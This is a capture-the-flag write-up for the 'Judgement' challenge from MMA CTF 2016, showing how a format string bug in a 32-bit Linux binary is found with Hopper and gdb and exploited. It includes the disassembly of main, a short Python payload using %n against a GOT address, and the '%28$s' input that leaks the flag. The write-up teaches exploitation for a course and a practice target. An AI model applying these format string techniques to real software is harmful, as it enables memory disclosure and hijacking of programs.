Write-Up for "Judgement", from Tokyo Westerns / MMA CTF 2nd 2016

Judgement: Initial Recon

We were given this binary: judgement-4da7533784aa31b96ca158fbda9677ee8507781ead6625dc6d577fd5d2ff697c

I downloaded it onto my Mac. The file command shows that this is a 32-bit Linux executable:

Using Hopper to Generate Pseudocode

I used a 64-bit Ubuntu virtual machine to start the Hopper disassembler.

I clicked File, "Read Executable to Disassemble..." and loaded the file into Hopper.

There are five strings in this program, as shown below. Looking at the right, I can see three modules: "init", "main", and "load_flag".

Double-clicking init+115 on the right side shows the code that uses this string. On the top right, notice the icon outlined in green in the image below.

Clicking that icon outputs pseudocode for this routine, which looks like C, as shown below.

This routine calls "load_flag", and returns an error message if it fails.

Repeating the process, starting from the strings, I entered "load_flag" and got its pseudocode.

This just reads the flag string from a file.

Identifying a Format String Vulnerability

Here's the pseudocode for main. Right in the middle, there's an obvious format string vulnerabilty, highlighted in the image below.

We covered format string vulnerabilities in CNIT 127's Chapter 4 lecture, here:


Since the programmer did not enter a format string, and printed user input, the user can enter format strings like "%x" and "%n" to read from, and write to, memory.

Adding a "flag.txt" File

I loaded the binary in 32-bit Kali 2, changed the name to "jud", and made it executable with chmod.

Running the program shows this error:

This is typical for CTFs. The challenge server contains a "flag.txt" file with the real flag, but to test it I need to make a fake flag file.

I put a file named "flag.txt" containing "0123456789" in the program's directory.

Reading Stack Data

Running the program, it asks for a flag. Entering "ABC" returns a "Wrong flag..." messsage, but entering the format string "%x.%x.%x" returns three values from the stack, as expected for a format string vulnerability.

The normal process for exploiting a format string vulnerability is to use the "%n" format to write to arbitrary memory, overwrite a function pointer, and execute injected shellcode, as detailed in this project.

The next step is to find a parameter on the stack I can control. I tried this string:

I can read the first 14 items on the stack, but none of them contain the "AAAA" string:

Finding a Limitation

I tried a longer string:
But I hit a limit--the string can't be longer than about 80 characters. That's not enough room to inject shellcode and execute it.

However, I could simply redirect execution to the part of the code that prints out the flag. To do that, I still need to find the parameter that contains my injected text. Since I can't use a long string of "%x" format codes, I switched to the "%number$x" format, like this:

Now I see that parameter 43 contains the injected "AAAA", in its hexadecimal form of "41414141".

In Kali, I executed these commands to open the file in the gdb disassembler, and view the assembly code for the "main" routine:

gdb ./jud
disassemble main
Here's the disassembled code, with my notes on the right side in capital letters.
Dump of assembler code for function main:
   0x0804872b <.+0>:	lea    0x4(%esp),%ecx
   0x0804872f <.+4>:	and    $0xfffffff0,%esp
   0x08048732 <.+7>:	pushl  -0x4(%ecx)
   0x08048735 <.+10>:	push   %ebp
   0x08048736 <.+11>:	mov    %esp,%ebp
   0x08048738 <.+13>:	push   %ebx
   0x08048739 <.+14>:	push   %ecx
   0x0804873a <.+15>:	sub    $0x60,%esp
   0x0804873d <.+18>:	mov    %gs:0x14,%eax
   0x08048743 <.+24>:	mov    %eax,-0xc(%ebp)
   0x08048746 <.+27>:	xor    %eax,%eax
   0x08048748 <.+29>:	mov    $0x10,%eax
   0x0804874d <.+34>:	sub    $0x1,%eax
   0x08048750 <.+37>:	add    $0x8f,%eax
   0x08048755 <.+42>:	mov    $0x10,%ebx
   0x0804875a <.+47>:	mov    $0x0,%edx
   0x0804875f <.+52>:	div    %ebx
   0x08048761 <.+54>:	imul   $0x10,%eax,%eax
   0x08048764 <.+57>:	sub    %eax,%esp
   0x08048766 <.+59>:	movl   $0x80489a8,(%esp)
   0x0804876d <.+66>:	call   0x80484e0 <.printf@plt>      "INPUT FLAG" MESSAGE
   0x08048772 <.+71>:	movl   $0x40,0x4(%esp)
   0x0804877a <.+79>:	lea    -0x4c(%ebp),%eax
   0x0804877d <.+82>:	mov    %eax,(%esp)
   0x08048780 <.+85>:	call   0x8048869 <.getnline>        READ INPUT
   0x08048785 <.+90>:	test   %eax,%eax
   0x08048787 <.+92>:	jne    0x804879c <.main+113>
   0x08048789 <.+94>:	movl   $0x80489cc,(%esp)
   0x08048790 <.+101>:	call   0x8048530 <.puts@plt>        ERROR: UNPRINTABLE CHARACTER
   0x08048795 <.+106>:	mov    $0xffffffff,%eax
   0x0804879a <.+111>:	jmp    0x80487d8 <.main+173>
   0x0804879c <.+113>:	lea    -0x4c(%ebp),%eax
   0x0804879f <.+116>:	mov    %eax,(%esp)
   0x080487a2 <.+119>:	call   0x80484e0 <.printf@plt>      FORMAT STRING VULN HERE
   0x080487a7 <.+124>:	movl   $0x804a0a0,0x4(%esp)
   0x080487af <.+132>:	lea    -0x4c(%ebp),%eax
   0x080487b2 <.+135>:	mov    %eax,(%esp)
   0x080487b5 <.+138>:	call   0x80484d0 <.strcmp@plt>      IT CALLS STRCMP HERE
   0x080487ba <.+143>:	test   %eax,%eax
   0x080487bc <.+145>:	je     0x80487cc <.main+161>
   0x080487be <.+147>:	movl   $0x80489e2,(%esp)           "\nWrong flag..."
   0x080487c5 <.+154>:	call   0x8048530 <.puts@plt>        IT CALLS PUTS HERE
   0x080487ca <.+159>:	jmp    0x80487d8 <.main+173>

   0x080487cc <.+161>:	movl   $0x80489f1,(%esp)           "CORRECT FLAG"
   0x080487d3 <.+168>:	call   0x8048530 <.puts@plt>        IT CALLS PUTS HERE
   0x080487d8 <.+173>:	mov    -0xc(%ebp),%ecx
   0x080487db <.+176>:	xor    %gs:0x14,%ecx
   0x080487e2 <.+183>:	je     0x80487e9 <.main+190>
   0x080487e4 <.+185>:	call   0x8048520 <.__stack_chk_fail@plt>
   0x080487e9 <.+190>:	lea    -0x8(%ebp),%esp
   0x080487ec <.+193>:	pop    %ecx
   0x080487ed <.+194>:	pop    %ebx
   0x080487ee <.+195>:	pop    %ebp
   0x080487ef <.+196>:	lea    -0x4(%ecx),%esp
   0x080487f2 <.+199>:	ret 
After the format string vulnerability, it calls "strcmp". So if I can change the address of "strcmp", I can alter the code execution.

I used objdump to print the Dynamic Relocation Records. As shown below, "strcmp" is at location 0x0804a010.

Another Limitation

I made this Python exploit program, attempting to write to that address:
#!/usr/bin/env python
print '\x10\xa0\x04\x08%42$x%n'
I ran that program, putting the output into a file named "e2", and used it as input to the "jud" program. However, the program rejected the input because it contains unprintable characters!

I tested more characters, as shown below, and found that all bytes below 0x20 are rejected except for 0x0a.

A New Strategy

This means that I cannot target any location starting with "08". I can't write to any pointer in the Global Offset Table, and I can't even enter any address in the assembly code.

However, perhaps I can find an address that's already on the stack and use it.

Consider this code in main:

   0x080487a2 <.+119>:	call   0x80484e0 <.printf@plt>      FORMAT STRING VULN HERE
   0x080487a7 <.+124>:	movl   $0x804a0a0,0x4(%esp)
   0x080487af <.+132>:	lea    -0x4c(%ebp),%eax
   0x080487b2 <.+135>:	mov    %eax,(%esp)
   0x080487b5 <.+138>:	call   0x80484d0 <.strcmp@plt>      IT CALLS STRCMP HERE
It loads the address 0x0804a0a0 onto the stack, as the second parameter for "strcmp". Evidently that address contains the correct flag.

I used these commands to load the program in gdb, place a breakpoint just after the format string is used, and run:

gdb ./jud
b * main+124
I input a flag guess of "ABC", and the program hit its breakpoint. The "info registers" command shows the values of esp and ebp, as shown below.

I used these commands to view the memory near 0x0804a0a0, and the stack:

x/4x 0x0804a0a0
x/30x $esp
As shown below, the flag is in fact at 0x0804a0a0, and the 28th word on the stack points to that address.

So if I run the program outside gdb and enter "%28$x", I'll see the 28th item on the stack, as shown below.

And entering "%28$s" prints the string that address points to, which is the flag! This, of course, is the fake flag I put on my machine.

Connecting to the real challenge server and entering "%28$s" shows the real flag!

Posted 9-5-16 by Sam Bowne